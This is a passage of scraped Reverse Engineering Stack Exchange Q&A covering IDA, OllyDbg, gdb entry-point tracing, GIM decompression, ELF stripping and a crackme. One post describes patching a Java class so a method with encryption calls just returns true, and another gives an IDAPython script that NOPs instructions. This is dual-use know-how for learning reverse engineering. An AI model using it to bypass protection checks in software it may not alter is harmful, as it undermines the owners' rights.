Tool to convert DOS Assembly code to C code Edit

\n
\n" }, { "Id": "3750", "CreationDate": "2014-02-24T08:33:31.503", "Body": "

I pointed the API help file to WIN32.HLP (Help -> Select API File -> win32.hlp -> Open)

\n\n

But when I right click on API and click 'Help on Symbolic name' 'Windows Help and Support' comes up and shows me 'Why can't I get Help from this program? '.

\n\n

What is the problem here...I'm using win 7, 64 Bit.

\n", "Title": "OllyDgb1.10 API help file not working", "Tags": "|ollydbg|", "Answer": "

(on behalf of the OP)

\n\n

Solved it. It was because my system was missing one update.

\n\n

Check the error details and solution here. Modern Windows versions have no more built-in support for the old Windows help format, so that needs to be installed explicitly.

\n" }, { "Id": "3752", "CreationDate": "2014-02-24T09:38:01.077", "Body": "

I want to know if there are ways to compile C, C++ and Python code in order to not be able to reverse engineering it over Linux or not?

\n\n

I have heard there are some ways over Windows to do it, but I am working on Linux.

\n\n

I want to compile my code securely, as released or final version.

\n\n

UPDATE

\n\n

At least I want to make it hard for usual users to disassemble,

\n\n

I am using GCC for C and C++, also I would be thankful if you introduce me best compiler for Python.

\n", "Title": "How to compile c, cpp and python code as \"Released/Final\" version?", "Tags": "|python|c|c++|compilers|software-security|", "Answer": "

As for C compiler (gcc), first make sure you do not make a mistake of compiling it with -g option (adds symbols for debugging, basically whole source code).

\n\n
\n

-g Produce debugging information in the operating system's native format

\n
\n\n

Secondly, try with -s option:

\n\n
\n

-s Remove all symbol table and relocation information from the executable.

\n
\n\n

Without function names is would be harder to reverse engineer it. Take a look at man strip. I haven't tried it, but something like

\n\n
\n

strip --strip-debug objfile

\n
\n\n

or:

\n\n
\n

strip --strip-unneeded objfile

\n
\n\n

on your object files could be useful.

\n\n

Turn on as much optimisation as you can -O3. It is really hard to read an optimized assembly, making it another impediment. There is really no good way of preventing disassembly and reverse-engineering, but it makes it harder.

\n\n

As for Python, it is absolutely OK to ship only .pyc bytecode files. It is compiled version of source code for Python Virtual Machine. How do I create a .pyc file?. Try this one, maybe it is what you need. User can run bytecode file using python just as easily as a source code file.

\n\n

Lastly, try to google for code obfuscation. It makes no sense to obfuscate C++ code, but maybe someone knows if code obfuscation is a good strategy for Python.

\n" }, { "Id": "3762", "CreationDate": "2014-02-26T04:35:09.867", "Body": "

I use IDA Pro 6.1 to disassemble static linked binary on Windows 32bit

\n\n

See, in the interactive screen, this subroutine (which is in one library function) can be found:

\n\n

\"IDAPro

\n\n

But as I use these two ways to generate asm code:

\n\n
    \n
  1. File->Produce->Create ASM File
    2. \n
  2. IDC script to iterate all the functions
    3. \n
\n\n

In both ways I can find this library function, but I can not find the definition of the subroutine $LN28_0. Which means in the generated asm code, all the jmp $LN28_0 is undefined.

\n\n

So, I am wondering if it is a bug of IDA Pro? Or, do I need to configure some things?

\n", "Title": "Why IDA Pro can not generate this subroutine's code?", "Tags": "|ida|", "Answer": "

It looks like that $LN28_0 is local label, not subroutine.\nFind it, rename it manually, regenerate the file.

\n" }, { "Id": "3764", "CreationDate": "2014-02-26T18:43:59.927", "Body": "

I am doing a translation project for the PSP version of a game released by Prototype (Japanese company), but I am having trouble with some GIM files (image files). \nNow the actual problem is not with the gim format, but a compression that has been placed on the gim files, but before that I will clarify a few things.\nSome of the GIM's work, however sometimes a GIM file appears that neither puyotools or GimConv (software that converts gim to png) can handle. The GIM that doesn't work is a little different in appearance.\nI know its a GIM file because it starts with: MIG.00.1PSP, though to be exact, its a little different and written like this:

\n\n

[integer equals 16, signature?] [integer equals 131792] [MIG.00.1PSP, but where a 00 HEX is placed between each hex byte]\n

\n\n

like this:

\n\n

10 00 00 00 D0 02 02 00 4D 00 49 00 47 00 2E 00 30 00 30 00\n2E 00 31 00 50 00 53 00 50 00 00 00

\n\n

Each of the compressed GIM files starts with these two integers values (however an image I have with smaller resolution has a different second integer). I have allready tried removing these two integers and also tried replacing M(00)I(00)G(00).(00)0(00)0(00).(00)1(00)P(00)S(00)P(00), with simply MIG.00.1PSP, but that just ended up making GIMConv saying: wrong chunk data.

\n\n

Also I have tried analyzing the file with signsrch and TrID to look for hints of some sort, but signsrch finds nothing and TrID only finds: \"100 .0% (.) LTAC compressed audio (v1.61) (1001/2)\"

\n\n

Here is the file called: black.gim (a black image)\n\"enter

\n\n

Here is a random CG: \n\"enter

\n\n

Here is a random gim file for refference to how an uncompressed version should look like. Notice that the first 4 bytes of the second line indicates the file size minus 16. \nAnother thing is the int after MIG.001.PSP, which I from different sources has found to be the version number. Therefore, all the compressed files should problably get that int there too.\n\"enter\nUpdate: I believe this is some kind of lz compression, but I haven't figured out which one yet. Tried lz01,lz00,lz10,lz11,CXLZ, lzss . It seems to me that it begins with a 10 byte like lz, it makes MIG.001.PSP become seperated by 00, due to the compression relying on value, key pair, where I believe the key 0 means that values should be directly send to the output. <- if you are confident that its one of the compressions I have tried, please say so too as it could very well just be the tools I used to try those compressions that was wrong with. GZIP and deflate was tried using .NET's System.IO.Compression in C# and the others has been tried using something called Puyo tools.

\n\n

Update: It seams like I have it almost figured out, basicly a key equals zero outputs value to decompressed data. If key is higher than zero, then get the short value of [Value,key-1]. This short plus 8 times two gives the byte it has to write out twice to decompressed data. In other words, 00 00 08 01 would output 00 00 00. The only problem with this is that 0f 01 in my black.gim example at line 3. This would point to 15 which would be position (15 + 8)*2 equals byte 46 which should be 02 00 in line two. This is however incorrect! Since I expect it to place zeroes there, not output 02 02..

\n\n

In short in the black.gim example I have found that:\n0C 01 should output 00 00\n0D 01 should output 00 00 00\n0F 01 should output 00 00

\n\n

Any suggestions?

\n\n

I'll be really happy if anybody could give me some input or lead :)

\n", "Title": "identification/reverse engineer lz compression", "Tags": "|file-format|", "Answer": "

Here is the complete answer to everyone who may encounter compressed GIM file of simular compression.\nBasicly the file starts like this:\n[magic number 10 00 00 00] [Integer with uncompressed size of file]\nAfter this the compressed file begin.\nThe compression basicly functions like this: (in terms of decompression)

\n\n

-> Take the next 2 bytes.

\n\n

-> Is the second byte equals zero?

\n\n\n\n

-> Is the second byte higher than 0?

\n\n

This is a pointer whose job is to make use of bytes used before. The position it points to is equals the unsigned short value of: [first byte, second byte minus 1]*2 + 8. When a pointer reads at the position it points to, it will read the next 4 bytes and not just the next 2 bytes. If the bytes at the pointed location is: 00 02 0C 01, then the decompressed output would be 02 ?? where ?? would be the result of the first two bytes of what its pointing at. In other words, if we pointed to 0C 01 02 00, then the output 0C 01 would be replaced by the result whatever its pointing to.Lets say it points to 08 00 00 00, then the output of the last pointer would be 08 00 00 00, which would replace 0C 01 and become: 08 00 00 00 02 00, which lastly would output 08 00 02 to decompressed output. *Notice that a pointer placed as the second byte cannot be replaced by four bytes, but only by the first two bytes of what would normally have been the result. If the second byte is pointing to the first byte, then it will simply be given the result of the first byte.

\n\n

Examples from the image from the first post (Black.gim):\nIn the first image: 0c 01 points to 00 00 0C 01, which outputs 00 00.\nIn the first image 0d 01 points to 0C 01 0C 01, which outputs 00 00 00. <- notice how only the first two bytes at a pointed position has the right to extend the result of what pointed to it by two bytes.\nIn the first image: 0F 01 points to 02 00 0D 01, which outputs 02 00

\n\n

-> do this until no bytes remains..

\n\n

About the suggested LZJB, I'll check right away. In case its right, I have still gotten quite the experience about reverse engineering files.

\n" }, { "Id": "3766", "CreationDate": "2014-02-27T10:17:38.380", "Body": "

Does anybody know something hack to debug 16bit DOS program in IDA 6.1?

\n", "Title": "DOS program debug in IDA?", "Tags": "|ida|debugging|dos|", "Answer": "

IDA DOSBox plugin by Eric Fry.

\n\n

Note that it requires a modified DOSBox build.

\n" }, { "Id": "3787", "CreationDate": "2014-03-04T19:49:02.390", "Body": "

I'm using dirtyJOE to edit a method of a class file.

\n\n

The original class file had some encryption method calls and such.\nI've changed the byte-code of the method ldc (byte-code: 12 1E)\nto load true and return(byte-code: 12 1E)

\n\n

apparently, Java's verifier is upset with my changes and it complains of verification error:

\n\n

java.lang.VerifyError: Expecting a stack map frame in method [methodName] at offset 2\nat..\nat..

\n\n

I was wondering if there is a way to fool the jvm to think that there is a stack map frame?

\n\n

thank you

\n", "Title": "VerifyError after editingg class file with dirtJOE", "Tags": "|java|byte-code|", "Answer": "

If the original class was not using StackMapTables, then there should be no problem, assuming you modified the bytecode correctly. Even if it is using them, it is usually possible to just remove them and revert to the old behavior. Assuming that the class does not use invokedynamic, you can just change the version back to 49.0 and delete the StackMapTable attributes.

\n\n

Unfortunately, version 51.0 mandates usage of StackMapTable, which is a pain to create when manually editing bytecode. If your class actually is making use of 51.0 features (i.e. invokedynamic) then your only option is to create the appropriate stack frames. In a simple case like this, you could do it by hand, but in general you're best off using a tool to generate the stack frames automatically.

\n" }, { "Id": "3796", "CreationDate": "2014-03-05T15:58:41.157", "Body": "

In fuzzing applications with Pin (the Pintool source code is hosted here, I am sorry for the self-advertisement), I get a very bizarre situation in tracing executed instructions, the following trace:

\n\n
...\n0x404f94        test edx, edx                    \n0x404f96        jnz 0x404fe1                   \n0x404fe1        pop ebp                        \n0x404f89        rep cmpsb byte ptr [esi], byte ptr [edi]\n0x404f8b        pop edi                        \n0x404f8c        pop esi                        \n0x404f8d        jz 0x404f94                    \n0x404f8f        sbb edx, edx\n...\n
\n\n

is extracted from the execution of wget. The bizarre observation is that the instruction after 0x404f8f is somehow arbitrary, normaly it should be:

\n\n
0x404f91        sbb edx, 0xffffffff\n
\n\n

but \"sometimes\" it is:

\n\n
0x779a015d      add esp, 0x4\n
\n\n

which is located in the NtWaitForMultipleObjects. To say \"sometimes\", I mean that it does not always happen but it happens and that is 100% reproducible.

\n\n

I still cannot figure out what happened here. First, the observation means that the control-flow of the program has been changed in a unpredictable way. Second, the bizarre instruction located in NtWaitForMultipleObjects, namely it must be in the kernel-space, but here I have observed it in the program (i.e. in the user-space).

\n\n

I know that this question is quite specific but feel free to request me more information. I really appreciate any help.

\n", "Title": "Strange behavior in the reverse execution of traces", "Tags": "|fuzzing|instrumentation|", "Answer": "

When dealing with multi-threaded program, you may end up getting instructions from different threads. You can for example check the current thread ID to make sure you're getting what you need.

\n\n

Even if the program itself does not use threads, they may be created by system libraries. One of the most common examples is the TppWaiterpThread. RPC functions also often create threads.

\n" }, { "Id": "3797", "CreationDate": "2014-03-05T17:56:23.717", "Body": "

These are my first steps in IDA script, so please be kind.

\n\n

I want to create some sort of script that, every time it finds the following instruction:

\n\n

MOV R1, #0x4D080

\n\n

to automatically replace it with

\n\n

NOP

\n\n

I could do it statically (hex edit), but I'm looking for a way to do it on the fly during dynamic debugging.

\n\n

Any ideas?

\n", "Title": "automatically find and nop an instruction in IDA", "Tags": "|ida|patching|patch-reversing|", "Answer": "

Actually you can do the following:

\n\n

Assuming that you know when and where this instruction is located and where it can appear:

\n\n
#I didn't check this code, use carefully, beware errors\n#You can use idc.FindBinary instead of text search if you know \n#how your assembly instruction is encoded\nimport idautils\nimport idc\n\n\n#static nopification of ARM address\ndef static_nopify_arm(ea):\n    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia\n    for i in range(len(nop)):\n        idc.PatchByte(ea + i, nop[i])\n\n\n#searches assembly command by its text\n#generally bad idea, but should work\n#start and end means search area boundaries\ndef static_search_text_and_nopify(asmline, start, end):\n    for h in idautils.Heads(start, end):\n        disasm = idc.GetDisasm(h)\n        if asmline == disasm:\n            static_nopify_arm(h)\n\n\n#The same with dynamic (memory during debugging)\n#Dynamic nopification of ARM address\ndef dynamic_nopify_arm(ea):\n    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia\n    for i in range(len(nop)):\n        #I'm not sure that it will work, may be you should do something with memory protection\n        idc.PatchDbgByte(ea + i, nop[i])\n\n\n#searches assembly command by its text\n#generally bad idea, but should work\n#start and end means search area boundaries\n#Code should be recognized by IDA as code before running the function\ndef dynamic_search_text_and_nopify(asmline, start, end):\n    for h in idautils.Heads(start, end):\n        disasm = idc.GetDisasm(h)\n        if asmline == disasm:\n            dynamic_nopify_arm(h)\n
\n" }, { "Id": "3798", "CreationDate": "2014-03-05T20:16:28.183", "Body": "

I often come across paths similar to \\??\\C:\\Windows when looking in memory. I have been unable to understand why the double '?' is appended to some paths. My google-fu is failing me with the ability to find a reason for the double '?'.Any assistance would be appreciated.

\n", "Title": "\\??\\C:\\ Question Marks in Paths", "Tags": "|windows|memory|", "Answer": "

I have been searching for an answer to this question for a while and I know this question is years old but on the off chance someone else comes across this question I will leave my response here.

\n\n

The above answer is referring to non-canonicalized device paths where as you are asking about \\??\\ not \\\\?\\ there may only be a small difference in the question but the answer is completely different.

\n\n

\\?? is a \"fake\" prefix which refers to per-user Dos devices, so here is an image that will hopefully help you understand what the process is: \"enter

\n\n

Some definitions that may help you understand:

\n\n\n" }, { "Id": "3800", "CreationDate": "2014-03-06T00:50:44.160", "Body": "

I am struggling on this problem for around three months:

\n\n

How to use disassemblers (IDA Pro and others...) to generate re-assemblable asm code and assemble it back

\n\n

My experience is that:

\n\n
    \n

  1. There is NO tool that can generate re-assemblable asm code on 32-bit x86.

    2. \n

  2. You need to adjust/heuristically modify the asm code created by IDA Pro to make it re-assemblable.

    3. \n

  3. It is doable to automatically adjust/heuristically modify process on benign program (one without obfuscation).

    4. \n

  4. It is very tedious, and VS compiled PE binary is much more complex than GCC compiled ELF binary.

    5. \n
\n\n

So my questions are:

\n\n
    \n

  1. Why there are not any disassemblers that can generate re-assemblable asm code targeting on benign program (one without obfuscation) ?

    2. \n

  2. If I want to implement such a tool (without the help of IDA Pro, sketching from the beginning), is it possible?

    3. \n

  3. Are there any other concerns related to this that I may have missed?

    4. \n
\n", "Title": "Why there are not any disassemblers that can generate re-assemblable asm code?", "Tags": "|ida|disassembly|x86|disassemblers|reassembly|", "Answer": "

By far, the established method for binary rewriting is dynamic rewriting where the binary is rewritten while being run on real inputs. Think of instrumentation tools like PIN, DynamoRIO and Dyninst and also binary translators like qemu.

\n\n

Static rewriting tools have a fundamental challenge compared to dynamic rewriting which is precise Control Flow Graph recovery. That is, for each basic block in the binary we need to know the set of possible targets of its jump instruction. The difficulty is that binaries have many indirect jump instructions. For example, if we face a basic block that ends with bx r3 then we need to have a precise and reliable Value Set Analysis (VSA) that can tell us the possible values that r3 can take at run-time. Unfortunately, such analysis is, generally, undecidable. However, well-behaving compilers produce binaries that are structured somehow which is a fact that can be useful to a large extent.

\n\n

Note that the solving CFG recovery problem would allow us to solve the code/data separation problem as a by product. That is, recursive descent disassembly would allow us in that case to perfectly seperate code from data in the code byte stream.

\n\n

I can refer here to the following paper introduced in last year's USENIX Security:

\n\n
\n

Shuai Wang, Pei Wang, Dinghao Wu:\n Reassembleable Disassembling. USENIX Security 2015: 627-642

\n
\n\n

Their tool Uroboros is not open source. It's based on iterative linear sweep disassembly using objdump. The disassembly technique itself is discussed in an earlier paper. Nonetheless, it provides interesting techniques for static binary rewriting that actually works (or at least that is their claim). They even rewrite the same binary multiple times without breaking it. Finally, note that static binary rewriting is largely inapplicable to binaries with run-time code generation.

\n\n

Update:

\n\n

It seems like many of the shortcomings of Uroboros has been addressed in Ramblr which is discussed here:

\n\n
\n

Wang et. al. \"Ramblr: Making Reassembly Great Again\", Proceedings of the Network and Distributed System Security Symposium (NDSS'17). 2017

\n
\n\n

Particularly, they mention that their reassembled binaries have no execution overhead or size expansion.

\n" }, { "Id": "3806", "CreationDate": "2014-03-06T12:44:34.993", "Body": "

Do anyone know about an automatic way to transfer function names from one IDA file to another while:

\n\n
    \n
  1. First IDA file is based on version 1 of the executable.
    2. \n
  2. Second IDA file is based on the updated, version 2, of the same executable.
    3. \n
\n\n

I'm aware of Zynamics BinDiff. I'm looking for alternatives.

\n", "Title": "Transfer function names from one IDA DB to another", "Tags": "|ida|code-modeling|", "Answer": "

You can use MyNav. In this video you can check how it can be done with this tool.

\n" }, { "Id": "3808", "CreationDate": "2014-03-06T13:20:10.840", "Body": "

Are there tools that would create:

\n\n\n\n

Such tools would boost productivity while re-engineering (understanding existing software and modifying it.) on a Linux platform.

\n", "Title": "Re-engineering to create UML Diagrams from Source and Binary", "Tags": "|tools|static-analysis|dynamic-analysis|processhacker|", "Answer": "

Just about all the major tools will take source files / directories and produce namespace (a Package), class and interface definitions, attributes, properties, and operation signatures. For a variety of languages.

\n\n

However, not all dependencies nor all relationships between classes will be discovered as operation definition bodies are not parsed, thus Activity model of an operation cannot be derived ( nor its Activity Diagram ).

\n\n

Microsoft in Visual Studio 2010 ( I believe, through to 2015 ) included an Operation to Sequence Diagram generator for any operation selected in the editor. It has since been dropped, probably due to it being restricted to managed languages.

\n\n

To derive State Machine model / diagram would also need to be cognitive of the coding convention originally employed in the source to be meaningful. Perhaps this is an area that Machine Learning might have impact.

\n\n

Collaboration Diagrams have been dropped from UML.

\n\n

I'm suprised that parsing op bodies has not been up taken by vendors, EA, MagicDraw, not even Eclipse Papyrus for Java.

\n\n

Hope that helps,\nRegards

\n" }, { "Id": "3811", "CreationDate": "2014-03-06T16:54:46.473", "Body": "

I have the following disassembly:

\n\n
mov BL, [EAX]\ninc EAX\nmov [EDX], BL\ninc EDX\n
\n\n

I could see this being the result of:

\n\n
uint8_t foo = bar;\n++bar;\nuint8_t tmp = foo;\n++foo;\n
\n\n

But this assumes C99. Is there some other C construct that could produce the code above?

\n", "Title": "What C construct could generate this assembly sequence?", "Tags": "|disassembly|x86|static-analysis|c|", "Answer": "

If you just want the answer without the explanation, scroll to the bottom of this post.

\n\n
\n\n

The [register] notation stands for \"take the value stored in register and interpret it as an address\". If the addressed entity size is ambiguous, it can be clarified using DWORD PTR [register] for DWORD-sized pointers (and similarly for other pointer sizes).

\n\n
\n
mov BL, [EAX]\n
\n
\n\n

This line treats the value in the EAX register as a pointer to a single byte (the size of BL), reads a byte from that address and stores it in BL.

\n\n
\n
inc EAX\n
\n
\n\n

This line increments the value of EAX, effectively advancing to the next byte.

\n\n
\n
mov [EDX], BL\n
\n
\n\n

This line treats the value in the EDX register as a pointer to a single byte (again, the size of the other operand tells us this), and writes a byte that is stored in BL to that address.

\n\n
\n
inc EDX\n
\n
\n\n

This line increments the value of EDX, advancing to the next byte.

\n\n

With all this information, we can see that this sequence basically copies a byte from one address to another. Most likely it is used in a loop such as string copy or memory copy. If there's a line similar to test BL, BL afterwards to determine if the copied byte was NULL, it's most likely a string copy; if there's a length/address check instead - it's probably a memory/buffer copy that works on a specified amount of bytes.

\n\n
\n\n

In C parlance, this can be represented as:

\n\n
char t; // BL\nchar *src; // EAX\nchar *dst; // EDX\n\n// initialize src and dst here\n\nt = *src;\n++src;\n*dst = t;\n++dst;\n
\n\n

Or, as K&R put it ever so tersely:

\n\n
*dst++ = *src++;\n
\n" }, { "Id": "3815", "CreationDate": "2014-03-07T06:55:02.097", "Body": "

I'm a newbie and just got into RE.\nI got a ELF 64-bit LSB executable, x86-64. I'm trying to reverse it.\nFirst I tried to set a break point on line 1 using

\n\n
gdb ./filename\nbreak 1\n
\n\n

The gdb says

\n\n
No symbol table is loaded.  Use the \"file\" command.\n
\n\n

OKie so gave out file command

\n\n
(gdb) file filename\nReading symbols from /media/Disk/filename...(no debugging symbols found)...done.\n
\n\n

How could a set a break point to see the execution..?

\n", "Title": "Reversing ELF 64-bit LSB executable, x86-64 ,gdb", "Tags": "|gdb|elf|x86-64|", "Answer": "

Getting the entrypoint

\n\n

If you have no useful symbol, you first need to find the entrypoint of the executable. There are several ways to do it (depending on the tools you have or the tools you like the best):

\n\n
    \n

  1. Using readelf

    \n\n
    $> readelf -h /bin/ls\nELF Header:\nMagic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 \nClass:                             ELF64\nData:                              2's complement, little endian\nVersion:                           1 (current)\nOS/ABI:                            UNIX - System V\nABI Version:                       0\nType:                              EXEC (Executable file)\nMachine:                           Advanced Micro Devices X86-64\nVersion:                           0x1\nEntry point address:               0x40489c\nStart of program headers:          64 (bytes into file)\nStart of section headers:          108264 (bytes into file)\nFlags:                             0x0\nSize of this header:               64 (bytes)\nSize of program headers:           56 (bytes)\nNumber of program headers:         9\nSize of section headers:           64 (bytes)\nNumber of section headers:         27\nSection header string table index: 26\n
    \n\n

    So, the entrypoint address is 0x40489c.

    2. \n

  2. Using objdump

    \n\n
    $> objdump -f /bin/ls\n\n/bin/ls:     file format elf64-x86-64\narchitecture: i386:x86-64, flags 0x00000112:\nEXEC_P, HAS_SYMS, D_PAGED\nstart address 0x000000000040489c\n
    \n\n

    Again, the entrypoint is 0x000000000040489c.

    3. \n

  3. Using gdb

    \n\n
    $> gdb /bin/ls\nGNU gdb (GDB) 7.6.2 (Debian 7.6.2-1)\n...\nReading symbols from /bin/ls...(no debugging symbols found)...done.\n(gdb) info files\nSymbols from \"/bin/ls\".\nLocal exec file:\n    `/bin/ls', file type elf64-x86-64.\n    Entry point: 0x40489c\n    0x0000000000400238 - 0x0000000000400254 is .interp\n    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag\n    0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id\n    0x0000000000400298 - 0x0000000000400300 is .gnu.hash\n    0x0000000000400300 - 0x0000000000400f18 is .dynsym\n    0x0000000000400f18 - 0x00000000004014ab is .dynstr\n    0x00000000004014ac - 0x00000000004015ae is .gnu.version\n    0x00000000004015b0 - 0x0000000000401640 is .gnu.version_r\n    0x0000000000401640 - 0x00000000004016e8 is .rela.dyn\n    0x00000000004016e8 - 0x0000000000402168 is .rela.plt\n    0x0000000000402168 - 0x0000000000402182 is .init\n    0x0000000000402190 - 0x00000000004028a0 is .plt\n    0x00000000004028a0 - 0x0000000000411f0a is .text\n    0x0000000000411f0c - 0x0000000000411f15 is .fini\n    0x0000000000411f20 - 0x000000000041701c is .rodata\n    0x000000000041701c - 0x0000000000417748 is .eh_frame_hdr\n    ...\n
    \n\n

    Entrypoint is still 0x40489c.

    4. \n
\n\n

Locating the main procedure

\n\n

Once the entrypoint is known, you can set a breakpoint on it and start looking for the main procedure. Because, you have to know that all the programs will start by a _start() procedure in charge of initializing the memory for the process and loading the dynamic libraries. In fact, this first procedure is a convention in the Unix World.

\n\n

What exactly does this initialization procedure is quite tedious to follow and, most of the time, of no interest at all to understand your program. The main() procedure will only start after all the memory is set-up and ready to go.

\n\n

Lets see how to do that (I assume that the executable has been compile with gcc):

\n\n
(gdb) break *0x40489c\nBreakpoint 1 at 0x40489c\n(gdb) run\nStarting program: /bin/ls \nwarning: Could not load shared library symbols for linux-vdso.so.1.\n\nBreakpoint 1, 0x000000000040489c in ?? ()\n
\n\n

Okay, so we stopped at the very beginning of the executable. At this time, nothing is ready, everything need to be set-up. Let see what are the first steps of the executable:

\n\n
(gdb) disas 0x40489c,+50\nDump of assembler code from 0x40489c to 0x4048ce:\n=> 0x000000000040489c:  xor    %ebp,%ebp\n   0x000000000040489e:  mov    %rdx,%r9\n   0x00000000004048a1:  pop    %rsi\n   0x00000000004048a2:  mov    %rsp,%rdx\n   0x00000000004048a5:  and    $0xfffffffffffffff0,%rsp\n   0x00000000004048a9:  push   %rax\n   0x00000000004048aa:  push   %rsp\n   0x00000000004048ab:  mov    $0x411ee0,%r8\n   0x00000000004048b2:  mov    $0x411e50,%rcx\n   0x00000000004048b9:  mov    $0x4028c0,%rdi\n   0x00000000004048c0:  callq  0x4024f0 <__libc_start_main@plt>\n   0x00000000004048c5:  hlt    \n   0x00000000004048c6:  nopw   %cs:0x0(%rax,%rax,1)\nEnd of assembler dump.\n
\n\n

What follow the hlt is just rubbish obtained because of the linear sweep performed by gdb. So, just ignore it. What is relevant is the fact that we are calling __libc_start_main() (I won't comment on the @plt because it would drag us out of the scope of the question).

\n\n

In fact, the procedure __libc_start_main() initialize the memory for a process running with the libc dynamic library. And, once done, jump to the procedure located in %rdi (which usually is the main() procedure). See the following picture to have a global view of what does the __libc_start_main() procedure [1]

\n\n

\"ELF

\n\n

So, indeed, the address of the main() procedure is at 0x4028c0. Let disassemble a few instructions at this address:

\n\n
(gdb) x /10i 0x4028c0\n   0x4028c0:    push   %r15\n   0x4028c2:    push   %r14\n   0x4028c4:    push   %r13\n   0x4028c6:    push   %r12\n   0x4028c8:    push   %rbp\n   0x4028c9:    mov    %rsi,%rbp\n   0x4028cc:    push   %rbx\n   0x4028cd:    mov    %edi,%ebx\n   0x4028cf:    sub    $0x388,%rsp\n   0x4028d6:    mov    (%rsi),%rdi\n   ...\n
\n\n

And, if you look at it, this is indeed the main() procedure. So, this where to really start the analysis.

\n\n

Words of warning

\n\n

Even if this way of looking for the main() procedure will work in most the cases. You have to know that we strongly rely on the following hypothesis:

\n\n
    \n

  1. Programs written in pure assembly language and compiled with gcc -nostdlib (or directly with gas or nasm) won't have a first call to __libc_start_main() and will start straight from the entrypoint. Therefore, for these programs, the _start() procedure is the main() procedure. In fact, it is important to understand that the main() procedure is just a convention introduced by the C language as the first function (written by the programmer) to be run in the program. Of course, you can find this convention replicated in many other languages such as Java, C++, and others. But, all these languages derive from C.

    2. \n

  2. We also strongly rely on a knowledge on the way __libc_start_main() works. And, how this procedure has been designed by the gcc team. So, if the program you are analyzing has been compiled with another compiler, you may have to investigate a bit further about this compiler and how it perform the set-up of the memory before running the main() procedure.

    3. \n
\n\n

Anyway, you should now be able to track down a program with no symbol at all if you read this answer carefully.

\n\n

Finally, you can find an excellent summary about the starting of an executable by reading \"Linux x86 Program Start Up or - How the heck do we get to main()?\" by Patrick Horgan.

\n" }, { "Id": "3823", "CreationDate": "2014-03-07T21:45:15.150", "Body": "

I want to find how can I identify calls to shared libraries in GDB only. On a stripped binary, I cannot found the dynamic symbol table:

\n\n
$> objdump -tT crackme-01\n\ncrackme-01:     file format elf32-i386\n\nobjdump: crackme-01: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n
\n\n

But still the dynamic library resolution is present, for instance before the call to strcmp:

\n\n
0x08048330 in ?? ()\n...\n0xb7ff2420 in _dl_runtime_resolve () from /lib/ld-linux.so.2\n0xb7fec020 in _dl_fixup () from /lib/ld-linux.so.2\n0xb7ff6678 in __x86.get_pc_thunk.bx () from /lib/ld-linux.so.2\n0xb7fec033 in _dl_fixup () from /lib/ld-linux.so.2\n0xb7fe7600 in _dl_lookup_symbol_x () from /lib/ld-linux.so.2\n0xb7fe6df9 in do_lookup_x () from /lib/ld-linux.so.2\n0xb7fedb70 in _dl_name_match_p () from /lib/ld-linux.so.2\n...\n0xb7ff5d74 in strcmp () from /lib/ld-linux.so.2\n
\n\n

My question is how the symbol table is hidden from readelf but still be used during execution ?

\n", "Title": "No dynamic symbol table but resolution of method from shared libraries is working", "Tags": "|elf|", "Answer": "

In fact, they probably used the sstrip software from the package ElfKicker. According to the sstrip README file:

\n\n
\n

sstrip is a small utility that removes the contents at the end of an\n ELF file that are not part of the program's memory image.

\n \n

Most ELF executables are built with both a program header table and a\n section header table. However, only the former is required in order\n for the OS to load, link and execute a program. sstrip attempts to\n extract the ELF header, the program header table, and its contents,\n leaving everything else in the bit bucket. It can only remove parts of\n the file that occur at the end, after the parts to be saved. However,\n this almost always includes the section header table, along with a few\n other sections that are not involved in program loading and execution.

\n \n

It should be noted that most programs that work with ELF files are\n dependent on the section header table as an index to the file's\n contents. Thus, utilities such as gdb and objdump will often have\n limited functionality when working with an executable with no section\n header table. Some other utilities may refuse to work with them at\n all.

\n
\n\n

In fact, sstrip remove all section information from the executable and keep the executable still usable.

\n\n

But let see the different levels is strip that we can reach.

\n\n

No stripping

\n\n

Let consider a program (similar to the one looked at in the question) with no stripping a all.

\n\n
$> objdump -tT ./crackme\n\n./crackme:     file format elf32-i386\n\nSYMBOL TABLE:\n08048134 l    d  .interp            00000000              .interp\n08048148 l    d  .note.ABI-tag      00000000              .note.ABI-tag\n08048168 l    d  .note.gnu.build-id 00000000              .note.gnu.build-id\n0804818c l    d  .gnu.hash          00000000              .gnu.hash\n080481ac l    d  .dynsym            00000000              .dynsym\n0804822c l    d  .dynstr            00000000              .dynstr\n...\n080497dc g       .bss               00000000              _end\n08048390 g     F .text              00000000              _start\n080485f8 g     O .rodata            00000004              _fp_hw\n080497d8 g       .bss               00000000              __bss_start\n08048490 g     F .text              00000000              main\n00000000  w      *UND*              00000000              _Jv_RegisterClasses\n080497d8 g     O .data              00000000              .hidden __TMC_END__\n00000000  w      *UND*              00000000              _ITM_registerTMCloneTable\n080482f4 g     F .init              00000000              _init\n\nDYNAMIC SYMBOL TABLE:\n00000000      DF *UND*              00000000  GLIBC_2.0   strcmp\n00000000      DF *UND*              00000000  GLIBC_2.0   read\n00000000      DF *UND*              00000000  GLIBC_2.0   printf\n00000000      DF *UND*              00000000  GLIBC_2.0   system\n00000000  w   D  *UND*              00000000              __gmon_start__\n00000000      DF *UND*              00000000  GLIBC_2.0   __libc_start_main\n080485fc g    DO .rodata            00000004  Base        _IO_stdin_used\n
\n\n

Stripping with strip

\n\n
$> strip ./crackme-striped\n$> objdump -tT ./crackme-striped \n\n./crackme-striped:     file format elf32-i386\n\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\n00000000     DF *UND*   00000000  GLIBC_2.0   strcmp\n00000000     DF *UND*   00000000  GLIBC_2.0   read\n00000000     DF *UND*   00000000  GLIBC_2.0   printf\n00000000     DF *UND*   00000000  GLIBC_2.0   system\n00000000  w  D  *UND*   00000000              __gmon_start__\n00000000     DF *UND*   00000000  GLIBC_2.0   __libc_start_main\n080485fc g   DO .rodata 00000004  Base        _IO_stdin_used\n
\n\n

As you see, the dynamic symbols are still here when strip is applied. The rest is just removed cleanly.

\n\n

Stripping with sstrip

\n\n

Finally, lets take a look at what happen when using sstrip.

\n\n
